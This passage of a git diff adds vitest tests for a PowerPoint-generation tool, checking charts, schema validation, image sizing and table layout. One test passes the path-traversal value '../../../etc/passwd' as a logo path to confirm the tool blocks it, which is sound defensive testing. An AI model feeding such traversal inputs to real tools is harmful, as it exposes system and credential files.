expect(result.success, result.error).toBe(true)+ expect(axis(charts[0], 'valAx')).toContain('<c:max val="0"/>')+ expect(axis(charts[0], 'valAx')).not.toContain('<c:min ')+ })++ it('leaves the axis of a line chart and of mixed signs to PowerPoint', async () => {+ const line = await chartDeck({+ type: 'line',+ labels: ['Jul', 'Aug'],+ datasets: [{ label: 'Revenue', data: [1320, 1405] }],+ })+ const mixed = await chartDeck({+ type: 'bar',+ labels: ['a', 'b'],+ datasets: [{ label: 'Change', data: [-2, 5] }],+ })+ for (const { result, charts } of [line, mixed]) {+ expect(result.success, result.error).toBe(true)+ expect(axis(charts[0], 'valAx')).not.toMatch(/<c:(min|max) /)+ }+ })++ it('lists horizontal bars top to bottom in the order given, with the value axis below', async () => {+ const { result, charts } = await chartDeck({+ type: 'horizontalBar',+ labels: ['1st: Alpha', '2nd: Beta', '3rd: Gamma', '4th: Delta'],+ datasets: [{ label: 'Score', data: [90, 70, 50, 30] }],+ })+ expect(result.success, result.error).toBe(true)+ expect(axis(charts[0], 'catAx')).toContain('<c:orientation val="maxMin"/>')+ const valAx = axis(charts[0], 'valAx')+ expect(valAx).toContain('<c:crosses val="max"/>')+ expect(valAx).toContain('<c:tickLblPos val="nextTo"/>')+ })++ it('keeps the vertical bar category order unchanged', async () => {+ const { result, charts } = await chartDeck({+ type: 'bar',+ labels: ['a', 'b'],+ datasets: [{ label: 'S', data: [1, 2] }],+ })+ expect(result.success, result.error).toBe(true)+ expect(axis(charts[0], 'catAx')).toContain('<c:orientation val="minMax"/>')+ })++ it('leaves a gap in a line where a value is missing', async () => {+ const { result, charts } = await chartDeck({+ type: 'line',+ labels: ['a', 'b', 'c', 'd', 'e'],+ datasets: [{ label: 'x', data: [5, 6, null, 8, 9] }],+ })+ expect(result.success, result.error).toBe(true)+ expect(charts[0]).toContain('<c:dispBlanksAs val="gap"/>')+ })+})++describe('clerum__generate_pptx — value labels print each value as given', () => {+ async function labelFormat(data: number[]): Promise<string> {+ const { result, charts } = await chartDeck({+ type: 'bar',+ labels: data.map((_, i) => `c${i}`),+ datasets: [{ label: 'Revenue', data }],+ })+ expect(result.success, result.error).toBe(true)+ const dLbls = /<c:dLbls>[\s\S]*?<\/c:dLbls>/.exec(charts[0])![0]+ return /<c:numFmt formatCode="([^"]*)"/+ .exec(dLbls)![1]+ .replace(/</g, '<')+ .replace(/>/g, '>')+ }++ it('groups integers without a decimal point', async () => {+ expect(await labelFormat([1200, 5000000, 980])).toBe('#,##0')+ })++ it('does not add ".0" to the integers of a series with one small fraction', async () => {+ // PowerPoint renders this as "1,200", "5,000,000" and "980.5".+ expect(await labelFormat([1200, 5000000, 980.5])).toBe('[>=1000]#,##0;[<=-1000]-#,##0;General')+ })++ it('gives every label the same decimals when a grouped value has a fraction', async () => {+ expect(await labelFormat([1200, 1234.5])).toBe('#,##0.0')+ expect(await labelFormat([1200, 1234.56, 0.1 + 0.2])).toBe('#,##0.00')+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.pptx.contract.test.ts b/mcp-host/src/workflow/__tests__/internalTools.pptx.contract.test.tsnew file mode 100644index 000000000..389aa8b44--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.pptx.contract.test.ts@@ -0,0 +1,410 @@+/**+ * The arguments clerum__generate_pptx accepts, on both paths: the workflow step+ * router validates against the schema before execute() runs, the chat adapter+ * does not, and execute() itself must answer anything the schema would refuse+ * with a message naming the field, never a JavaScript TypeError or a slide that+ * prints an error inside the deck.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import { generatePptx, slideCount, slideXml, tables, textShapes } from './support/pptxXml'+import { workflowRouter, workflowValidation } from './support/workflowRouter'+import { zipEntryText } from './support/zipEntries'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-pptx-contract-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_pptx')!++const validate = (args: Record<string, unknown>) => workflowValidation(tool, args)++async function throughWorkflow(args: Record<string, unknown>) {+ const { result } = await workflowRouter(outputDir).callTool('clerum__generate_pptx', args)+ return result+}++const ACCEPTED: Array<[string, Record<string, unknown>]> = [+ [+ 'numeric and empty table cells from an API',+ {+ filename: 'x.pptx',+ slides: [+ {+ layout: 'title-table',+ title: 'Regions',+ table: { headers: ['Region', 'Revenue', 'Notes'], rows: [['NA', 1200, null]] },+ },+ ],+ },+ ],+ [+ 'a numeric KPI value',+ {+ filename: 'x.pptx',+ slides: [{ layout: 'kpis', title: 'K', kpis: [{ label: 'Customers', value: 1204 }] }],+ },+ ],+ [+ 'years as chart labels and values written as text',+ {+ filename: 'x.pptx',+ slides: [+ {+ layout: 'title-chart',+ title: 'Revenue',+ chart: {+ type: 'line',+ labels: [2024, 2025, 2026],+ datasets: [{ label: 'Revenue', data: ['1,200', 1500, null] }],+ },+ },+ ],+ },+ ],+ [+ 'a chart in the shape clerum__generate_chart takes',+ {+ filename: 'x.pptx',+ slides: [+ {+ layout: 'title-chart',+ title: 'Revenue',+ chart: { type: 'bar', data: { labels: ['a'], datasets: [{ label: 's', data: [1] }] } },+ },+ ],+ },+ ],+ [+ 'an image given as a file name',+ { filename: 'x.pptx', slides: [{ layout: 'image', title: 'I', image: 'chart.png' }] },+ ],+ [+ 'bullets sent as one string',+ { filename: 'x.pptx', slides: [{ layout: 'title-bullets', title: 'B', bullets: 'one\ntwo' }] },+ ],+ [+ 'a typed quarterly-review payload',+ {+ filename: 'x.pptx',+ template: 'quarterly-review',+ data: {+ title: 'Q3',+ period: 'Q3 2026',+ kpis: [{ label: 'ARR', value: 1200000, delta: '+8%', deltaDirection: 'up' }],+ revenueChart: { type: 'line', labels: ['Jul'], datasets: [{ label: 'R', data: [1] }] },+ metricsTable: { headers: ['Metric', 'Value'], rows: [['NPS', 48]] },+ outlook: ['Hire'],+ },+ },+ ],+ [+ 'a pitch-deck team with names and roles',+ {+ filename: 'x.pptx',+ template: 'pitch-deck',+ data: {+ company: 'Acme',+ tagline: 'T',+ problem: 'P',+ solution: 'S',+ team: [{ name: 'Ada', role: 'CEO' }],+ ask: { amount: '$5M', useOfFunds: ['Hiring'] },+ },+ },+ ],+ [+ 'pitch-deck amounts sent as numbers',+ {+ filename: 'x.pptx',+ template: 'pitch-deck',+ data: {+ company: 'Acme',+ tagline: 'T',+ problem: 'P',+ solution: 'S',+ marketSize: { value: 12000000000 },+ ask: { amount: 5000000 },+ },+ },+ ],+ [+ 'a KPI delta sent as a number',+ {+ filename: 'x.pptx',+ slides: [{ layout: 'kpis', title: 'K', kpis: [{ label: 'Churn', value: 2.1, delta: -0.3 }] }],+ },+ ],+]++describe('clerum__generate_pptx schema — accepts what the runtime draws', () => {+ it.each(ACCEPTED)('accepts %s', async (_label, args) => {+ expect(await validate(args)).toBe(true)+ })++ it('draws numeric and empty cells and a numeric KPI through the workflow path', async () => {+ const result = await throughWorkflow({+ filename: 'w.pptx',+ slides: [+ {+ layout: 'title-table',+ title: 'Regions',+ table: { headers: ['Region', 'Revenue', 'Notes'], rows: [['NA', 1200, null]] },+ },+ { layout: 'kpis', title: 'K', kpis: [{ label: 'Customers', value: 1204 }] },+ ],+ })+ expect(result.isError, JSON.stringify(result.content)).toBeFalsy()+ const file = path.join(outputDir, 'w.pptx')+ expect(tables(slideXml(file, 1))[0].rows[1]).toEqual(['NA', '1200', ''])+ expect(slideXml(file, 2)).toContain('<a:t>1204</a:t>')+ })+})++describe('clerum__generate_pptx — pitch-deck amounts sent as numbers', () => {+ it('draws them grouped in thousands through the workflow path', async () => {+ const result = await throughWorkflow({+ filename: 'p.pptx',+ template: 'pitch-deck',+ data: {+ company: 'Acme',+ tagline: 'Launch for everyone',+ problem: 'Launch is scarce',+ solution: 'Reusable launchers',+ marketSize: { value: 12000000000, description: 'Global, 2030' },+ ask: { amount: 5000000, useOfFunds: ['Hiring'] },+ },+ })+ expect(result.isError, JSON.stringify(result.content)).toBeFalsy()+ const file = path.join(outputDir, 'p.pptx')+ const text = Array.from({ length: slideCount(file) }, (_, i) => slideXml(file, i + 1)).join('')+ expect(text).toContain('<a:t>12,000,000,000</a:t>')+ expect(text).toContain('The Ask · 5,000,000')+ })+})++describe('clerum__generate_pptx schema — rejects what cannot be drawn', () => {+ it.each([+ [+ 'an unknown layout',+ { filename: 'x.pptx', slides: [{ layout: 'bullets', title: 'x' }] },+ 'slides/0/layout',+ ],+ [+ 'a chart type with no native form',+ {+ filename: 'x.pptx',+ slides: [{ layout: 'title-chart', title: 'x', chart: { type: 'scatter' } }],+ },+ 'slides/0/chart/type',+ ],+ [+ 'a template list sent as a number',+ { filename: 'x.pptx', template: 'executive-brief', data: { title: 'x', takeaways: 3 } },+ 'data/takeaways',+ ],+ [+ 'an unknown incident severity',+ {+ filename: 'x.pptx',+ template: 'incident-review',+ data: { title: 'x', summary: 's', severity: 'sev1' },+ },+ 'data/severity',+ ],+ ])('rejects %s, naming the field', async (_label, args, field) => {+ const message = await validate(args as Record<string, unknown>)+ expect(message).not.toBe(true)+ expect(String(message)).toContain(field)+ })+})++describe('clerum__generate_pptx — execute() answers malformed input by field', () => {+ it('splits bullets sent as one string into one bullet per line', async () => {+ const result = await generatePptx(+ {+ filename: 'b.pptx',+ slides: [{ layout: 'title-bullets', title: 'x', bullets: 'one\ntwo' }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const body = textShapes(slideXml(path.join(outputDir, 'b.pptx'), 1)).find(s =>+ s.paragraphs.includes('one')+ )!+ expect(body.paragraphs).toEqual(['one', 'two'])+ })++ it('reads table rows sent as records in header order', async () => {+ const result = await generatePptx(+ {+ filename: 't.pptx',+ slides: [+ {+ layout: 'title-table',+ title: 'x',+ table: { headers: ['a', 'b'], rows: [{ b: 2, a: 1 }] },+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(tables(slideXml(path.join(outputDir, 't.pptx'), 1))[0].rows[1]).toEqual(['1', '2'])+ expect(result.content).toMatch(/header name/)+ })++ it('names a KPI without a value', async () => {+ const result = await generatePptx(+ {+ filename: 'k.pptx',+ slides: [{ layout: 'kpis', title: 'x', kpis: [{ label: 'Revenue' }] }],+ },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/slides\[0\]\.kpis\[0\]\.value/)+ })++ it('refuses an unknown layout with the list of layouts instead of printing it on a slide', async () => {+ const result = await generatePptx(+ { filename: 'u.pptx', slides: [{ layout: 'bullets', title: 'x', bullets: ['a'] }] },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/slides\[0\]\.layout/)+ expect(result.error).toMatch(/title-bullets/)+ expect(fs.existsSync(path.join(outputDir, 'u.pptx'))).toBe(false)+ })++ it('refuses a layout whose content is missing instead of an empty slide', async () => {+ const result = await generatePptx(+ {+ filename: 'e.pptx',+ slides: [+ { layout: 'title-bullets', title: 'Fine', bullets: ['a'] },+ { layout: 'title-table', title: 'No table' },+ ],+ },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/slides\[1\]/)+ expect(result.error).toMatch(/table/)+ })++ it('says a table with no rows shows only its headings', async () => {+ const result = await generatePptx(+ {+ filename: 't.pptx',+ slides: [+ { layout: 'title-table', title: 'Empty', table: { headers: ['A', 'B'], rows: [] } },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(result.content).toMatch(/slides\[0\]\.table has no rows/)+ })++ it('reports the same deck on both paths', async () => {+ const args = {+ filename: 'same.pptx',+ slides: [{ layout: 'title-bullets', title: 'x', bullets: ['a', 'b'] }],+ }+ const chat = await generatePptx(args, outputDir)+ expect(chat.success, chat.error).toBe(true)+ const chatSlides = slideCount(path.join(outputDir, 'same.pptx'))+ const workflow = await throughWorkflow(args)+ expect(workflow.isError).toBeFalsy()+ expect(slideCount(path.join(outputDir, 'same.pptx'))).toBe(chatSlides)+ })+})++describe('clerum__generate_pptx — the description matches the deck', () => {+ it('does not promise the logo on every slide or a status badge beside titles', () => {+ expect(tool.description).not.toMatch(/appears on every slide/)+ const slideProps = (+ (tool.parameters.properties as Record<string, Record<string, unknown>>).slides.items as {+ properties: Record<string, { description: string }>+ }+ ).properties+ expect(slideProps.status.description).toMatch(/cover/i)+ expect(slideProps.status.description).not.toMatch(/beside the title/)+ })++ it('says chart.type is left out when the chart is an image', () => {+ const slideProps = (+ (tool.parameters.properties as Record<string, Record<string, unknown>>).slides.items as {+ properties: Record<string, { properties: Record<string, { description: string }> }>+ }+ ).properties+ expect(slideProps.chart.properties.type.description).toMatch(+ /only for native charts.*leave it out/i+ )+ })++ it('asks for image paths as the file names clerum__generate_chart returns', () => {+ const text = JSON.stringify(tool.parameters)+ expect(text).not.toMatch(/Absolute path/)+ const pathDescriptions = [...text.matchAll(/"path":\{[^}]*"description":"([^"]+)"/g)].map(+ m => m[1]+ )+ expect(pathDescriptions.length).toBeGreaterThanOrEqual(4)+ for (const d of pathDescriptions) expect(d).toMatch(/clerum__generate_chart/)+ // A logo is not a chart, so it is asked for as a file in the output folder.+ expect(text).toMatch(/"logoPath":\{[^}]*"description":"[^"]*file name in the output folder/)+ })+})++describe('clerum__generate_pptx — document properties', () => {+ it('escapes the company name it writes into docProps/app.xml', async () => {+ const result = await generatePptx(+ {+ filename: 'amp.pptx',+ branding: { companyName: "Johnson & Johnson <R&D> O'Brien" },+ slides: [{ layout: 'cover', title: 'Q3' }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const app = zipEntryText(path.join(outputDir, 'amp.pptx'), 'docProps/app.xml')+ expect(app).toContain('<Company>Johnson & Johnson <R&D> O'Brien</Company>')+ })+})++describe('clerum__generate_pptx — mixed-direction text', () => {+ it('tags each run of a mixed Arabic and English bullet with its own language', async () => {+ const result = await generatePptx(+ {+ filename: 'mix.pptx',+ slides: [+ {+ layout: 'title-bullets',+ title: 'T',+ bullets: ['هذا نص English words في الوسط.'],+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const xml = slideXml(path.join(outputDir, 'mix.pptx'), 1)+ const bullet = [...xml.matchAll(/<a:p>([\s\S]*?)<\/a:p>/g)]+ .map(m => m[1])+ .find(p => p.includes('English'))!+ expect(bullet).toContain('rtl="1"')+ const runs = [...bullet.matchAll(/<a:rPr[^>]*lang="([^"]+)"[\s\S]*?<a:t>([^<]*)<\/a:t>/g)]+ expect(runs.map(r => r[1])).toEqual(['ar-SA', 'en-US', 'ar-SA'])+ expect(runs[1][2]).toContain('English words')+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.pptx.images.test.ts b/mcp-host/src/workflow/__tests__/internalTools.pptx.images.test.tsnew file mode 100644index 000000000..3892fe1ce--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.pptx.images.test.ts@@ -0,0 +1,320 @@+/**+ * pptxgenjs `sizing: 'contain'` reads w/h as the image's own proportions and+ * stretches the picture to the box, so the deck sizes pictures itself. These+ * tests read the drawn size back out of the slide XML.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { withPngDensity } from './support/pngDensity'+import { generatePptx, pictures, slideXml, textShapes, writeImage } from './support/pptxXml'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-pptx-img-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++const SLIDE = { width: 13.333, height: 7.5 }++function onlyPicture(file: string, slide = 1) {+ const pics = pictures(slideXml(file, slide))+ expect(pics).toHaveLength(1)+ return pics[0]+}++function expectInsideSlide(p: { x: number; y: number; w: number; h: number }) {+ expect(p.x).toBeGreaterThanOrEqual(0)+ expect(p.y).toBeGreaterThanOrEqual(0)+ expect(p.x + p.w).toBeLessThanOrEqual(SLIDE.width + 1e-3)+ expect(p.y + p.h).toBeLessThanOrEqual(SLIDE.height + 1e-3)+}++describe('clerum__generate_pptx — images keep their proportions', () => {+ it.each([+ ['a tall 1:2 picture', 600, 1200],+ ['a wide 2:1 picture', 1600, 800],+ ['a 4:3 photo', 800, 600],+ ])('draws %s at its own aspect ratio on an image slide', async (_label, w, h) => {+ await writeImage(outputDir, 'pic.png', w, h)+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [{ layout: 'image', title: 'Picture', image: { path: 'pic.png' } }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const pic = onlyPicture(path.join(outputDir, 'x.pptx'))+ expect(pic.w / pic.h).toBeCloseTo(w / h, 2)+ expect(pic.stretched).toBe(false)+ expectInsideSlide(pic)+ })++ it('derives the height from a width given alone', async () => {+ await writeImage(outputDir, 'tall.png', 600, 1200)+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [{ layout: 'image', title: 'W', image: { path: 'tall.png', width: 2 } }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const pic = onlyPicture(path.join(outputDir, 'x.pptx'))+ expect(pic.w).toBeCloseTo(2, 2)+ expect(pic.h).toBeCloseTo(4, 2)+ })++ it('fits the picture inside a width and height given together, at its own proportions', async () => {+ await writeImage(outputDir, 'wide.png', 1600, 800)+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [+ { layout: 'image', title: 'WH', image: { path: 'wide.png', width: 2, height: 2 } },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const pic = onlyPicture(path.join(outputDir, 'x.pptx'))+ expect(pic.w).toBeCloseTo(2, 2)+ expect(pic.h).toBeCloseTo(1, 2)+ expect(pic.stretched).toBe(false)+ })++ it('keeps a chart image passed as chart.path at the chart aspect ratio', async () => {+ await writeImage(outputDir, 'sales.png', 1600, 800)+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [{ layout: 'title-chart', title: 'Sales', chart: { path: 'sales.png' } }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const pic = onlyPicture(path.join(outputDir, 'x.pptx'))+ expect(pic.w / pic.h).toBeCloseTo(2, 2)+ expect(pic.stretched).toBe(false)+ })++ it('keeps a JPEG in a two-column image column at its aspect ratio', async () => {+ await writeImage(outputDir, 'photo.jpg', 800, 600, 'jpeg')+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [+ {+ layout: 'two-column',+ title: 'Photo',+ columns: {+ left: { type: 'bullets', bullets: ['One'] },+ right: { type: 'image', image: { path: 'photo.jpg' } },+ },+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const pic = onlyPicture(path.join(outputDir, 'x.pptx'))+ expect(pic.w / pic.h).toBeCloseTo(4 / 3, 2)+ })++ it('does not squash a square logo on the cover', async () => {+ await writeImage(outputDir, 'logo.png', 400, 400)+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ branding: { logoPath: 'logo.png' },+ slides: [{ layout: 'cover', title: 'Deck' }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const pic = onlyPicture(path.join(outputDir, 'x.pptx'))+ expect(pic.w / pic.h).toBeCloseTo(1, 2)+ })++ it('embeds a GIF by converting it, instead of writing it under a PNG name', async () => {+ await writeImage(outputDir, 'anim.gif', 60, 30, 'gif')+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [{ layout: 'image', title: 'GIF', image: 'anim.gif' }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const pic = onlyPicture(path.join(outputDir, 'x.pptx'))+ expect(pic.w / pic.h).toBeCloseTo(2, 2)+ })+})++describe('clerum__generate_pptx — small images are not blown up', () => {+ it('draws a tiny image at twice its size at most, and says how to enlarge it', async () => {+ await writeImage(outputDir, 'tiny.png', 40, 30)+ const result = await generatePptx(+ { filename: 't.pptx', slides: [{ layout: 'image', title: 'Icon', image: 'tiny.png' }] },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const pic = onlyPicture(path.join(outputDir, 't.pptx'))+ expect(pic.w).toBeCloseTo((40 / 96) * 2, 2)+ expect(pic.h).toBeCloseTo((30 / 96) * 2, 2)+ expect(result.content).toMatch(/slides\[0\]\.image: the image is 40×30 pixels/)+ expect(result.content).toMatch(/set width/)+ })++ it('judges a dense image by the pixels it stores, not the density it declares', async () => {+ const file = await writeImage(outputDir, 'dense.png', 40, 30)+ // 192 dpi: the image declares half its pixel size.+ fs.writeFileSync(file, withPngDensity(fs.readFileSync(file), 7559))+ const result = await generatePptx(+ { filename: 'd.pptx', slides: [{ layout: 'image', title: 'Icon', image: 'dense.png' }] },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(onlyPicture(path.join(outputDir, 'd.pptx')).w).toBeCloseTo((40 / 96) * 2, 2)+ expect(result.content).toMatch(/the image is 40×30 pixels/)+ })++ it('still enlarges a tiny image to the width asked for', async () => {+ await writeImage(outputDir, 'tiny.png', 40, 30)+ const result = await generatePptx(+ {+ filename: 't.pptx',+ slides: [{ layout: 'image', title: 'Icon', image: { path: 'tiny.png', width: 4 } }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(onlyPicture(path.join(outputDir, 't.pptx')).w).toBeCloseTo(4, 2)+ expect(result.content).not.toMatch(/pixels/)+ })++ it('fills the space with an image large enough to stay sharp, without a warning', async () => {+ await writeImage(outputDir, 'big.png', 1200, 900)+ const result = await generatePptx(+ { filename: 'b.pptx', slides: [{ layout: 'image', title: 'Photo', image: 'big.png' }] },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(onlyPicture(path.join(outputDir, 'b.pptx')).h).toBeGreaterThan(5)+ expect(result.content).not.toMatch(/pixels/)+ })+})++describe('clerum__generate_pptx — images that cannot be used are reported', () => {+ it('says which image was left out instead of returning a silent empty slide', async () => {+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [+ { layout: 'image', title: 'Missing', image: { path: 'nope.png', caption: 'Cap' } },+ ],+ },+ outputDir+ )+ expect(result.success).toBe(true)+ expect(result.content).toMatch(/nope\.png/)+ expect(result.content).toMatch(/slides\[0\]/)+ })++ it('mentions the caption that goes with an image that cannot be used', async () => {+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [+ {+ layout: 'two-column',+ title: 'Missing',+ columns: {+ left: { type: 'bullets', bullets: ['One'] },+ right: { type: 'image', image: { path: 'nope.png', caption: 'Quarterly photo' } },+ },+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(result.content).toMatch(/slides\[0\]\.columns\.right\.image\.caption/)+ })++ it('uses the file of the same name when given an absolute path from another mode', async () => {+ await writeImage(outputDir, 'sales.png', 1600, 800)+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [{ layout: 'image', title: 'Chart', image: { path: '/output/sales.png' } }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(result.content).toMatch(/sales\.png/)+ expect(pictures(slideXml(path.join(outputDir, 'x.pptx'), 1))).toHaveLength(1)+ })++ it('draws the native chart when the chart image is missing but the data came too', async () => {+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [+ {+ layout: 'title-chart',+ title: 'Revenue',+ chart: {+ path: 'missing.png',+ type: 'bar',+ labels: ['A', 'B'],+ datasets: [{ label: 'S', data: [1, 2] }],+ },+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(slideXml(path.join(outputDir, 'x.pptx'), 1)).toContain('<c:chart ')+ expect(result.content).toMatch(/missing\.png/)+ })++ it('fails the call for a path that escapes the output folder, naming the field', async () => {+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ branding: { logoPath: '../../../etc/passwd' },+ slides: [{ layout: 'cover', title: 'X' }],+ },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/path traversal blocked/)+ expect(result.error).toMatch(/branding\.logoPath/)+ })++ it('keeps the caption of an image slide inside the slide, below the picture', async () => {+ await writeImage(outputDir, 'tall.png', 600, 1200)+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [+ { layout: 'image', title: 'T', image: { path: 'tall.png', caption: 'A caption' } },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const xml = slideXml(path.join(outputDir, 'x.pptx'), 1)+ const pic = pictures(xml)[0]+ const caption = textShapes(xml).find(s => s.paragraphs[0] === 'A caption')!+ expect(caption.y).toBeGreaterThanOrEqual(pic.y + pic.h - 1e-3)+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.pptx.layout.test.ts b/mcp-host/src/workflow/__tests__/internalTools.pptx.layout.test.tsnew file mode 100644index 000000000..f49c42917--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.pptx.layout.test.ts@@ -0,0 +1,651 @@+/**+ * PowerPoint does not shrink text to fit on open or export, and a table grows+ * past the slide instead of continuing, so the deck is laid out from measured+ * text. These tests check the geometry in the slide XML against that measurement.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { fitText, textBlockHeight } from '../pptxText'+import {+ generatePptx,+ shapeWithText,+ slideCount,+ slideXml,+ tables,+ textShapes,+ writeImage,+} from './support/pptxXml'+import { zipEntryText } from './support/zipEntries'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-pptx-layout-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++const WIDE = { width: 13.333, height: 7.5 }+const SIXTEEN_NINE = { width: 10, height: 5.625 }+/** Top of the footer band; body content must end above it. */+const footerTop = (height: number) => height - 0.45++const long = (n: number, word = 'lorem') =>+ Array.from({ length: n }, (_, i) => `${word}${i % 7}`).join(' ')++describe('clerum__generate_pptx — long tables continue on further slides', () => {+ it('splits a 30-row table across slides, repeating the header, and says so', async () => {+ const rows = Array.from({ length: 30 }, (_, i) => [+ `10:${String(i).padStart(2, '0')}`,+ `Event ${i}`,+ ])+ const result = await generatePptx(+ {+ filename: 't.pptx',+ slides: [+ { layout: 'title-table', title: 'Timeline', table: { headers: ['Time', 'Event'], rows } },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 't.pptx')+ const count = slideCount(file)+ expect(count).toBeGreaterThan(1)++ const seen: string[] = []+ for (let n = 1; n <= count; n++) {+ const [table] = tables(slideXml(file, n))+ expect(table.rows[0]).toEqual(['Time', 'Event'])+ const bottom = table.y + table.rowHeights.reduce((a, b) => a + b, 0)+ expect(bottom).toBeLessThanOrEqual(footerTop(WIDE.height))+ seen.push(...table.rows.slice(1).map(r => r[1]))+ }+ expect(seen).toEqual(rows.map(r => r[1]))+ expect(result.content).toMatch(/slides\[0\]\.table/)+ })++ it('declares each row at least as tall as its wrapped text', async () => {+ const rows = Array.from({ length: 12 }, (_, i) => [+ `Region ${i}`,+ long(40),+ String(i * 1000),+ long(18, 'status'),+ 'x',+ 'y',+ 'z',+ long(10),+ ])+ const result = await generatePptx(+ {+ filename: 't.pptx',+ slides: [+ {+ layout: 'title-table',+ title: 'Wide',+ table: { headers: ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H'], rows },+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 't.pptx')+ for (let n = 1; n <= slideCount(file); n++) {+ const xml = slideXml(file, n)+ const [table] = tables(xml)+ const size = Number(/<a:tc>[\s\S]*?sz="(\d+)"/.exec(xml)![1]) / 100+ table.rows.forEach((row, r) => {+ const needed = Math.max(+ ...row.map((cell, c) =>+ textBlockHeight([cell], size, table.columnWidths[c] - 0.2, { bold: r === 0 })+ )+ )+ expect(table.rowHeights[r]).toBeGreaterThanOrEqual(needed + 0.1 - 1e-3)+ })+ const bottom = table.y + table.rowHeights.reduce((a, b) => a + b, 0)+ expect(bottom).toBeLessThanOrEqual(footerTop(WIDE.height))+ }+ })++ it('gives a column of long text more width than a column of short codes', async () => {+ const result = await generatePptx(+ {+ filename: 't.pptx',+ slides: [+ {+ layout: 'title-table',+ title: 'Widths',+ table: {+ headers: ['ID', 'Description'],+ rows: [+ ['1', long(20)],+ ['2', long(25)],+ ],+ },+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const [table] = tables(slideXml(path.join(outputDir, 't.pptx'), 1))+ expect(table.columnWidths[1]).toBeGreaterThan(table.columnWidths[0] * 3)+ })+})++describe('clerum__generate_pptx — text stays inside its box', () => {+ it('keeps a long title clear of the body and the body clear of the footer', async () => {+ const title = long(24, 'Quarterly')+ const bullets = Array.from({ length: 12 }, (_, i) => (i % 3 === 0 ? long(28) : `Point ${i}`))+ const result = await generatePptx(+ {+ filename: 'o.pptx',+ aspectRatio: '16x9',+ slides: [{ layout: 'title-bullets', title, bullets }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 'o.pptx')+ const texts: string[] = []+ for (let n = 1; n <= slideCount(file); n++) {+ const xml = slideXml(file, n)+ const titleShape = shapeWithText(xml, 'Quarterly')+ const body = textShapes(xml).find(s => s.paragraphs.some(p => /^(Point|lorem)/.test(p)))!+ expect(body.anchor).toBe('t')+ const titleNeed = textBlockHeight(+ titleShape.paragraphs,+ titleShape.sizes[0],+ titleShape.w - 0.2,+ {+ bold: true,+ }+ )+ expect(titleShape.h).toBeGreaterThanOrEqual(titleNeed + 0.1 - 1e-3)+ expect(body.y).toBeGreaterThanOrEqual(titleShape.y + titleShape.h)+ const need = textBlockHeight(body.paragraphs, 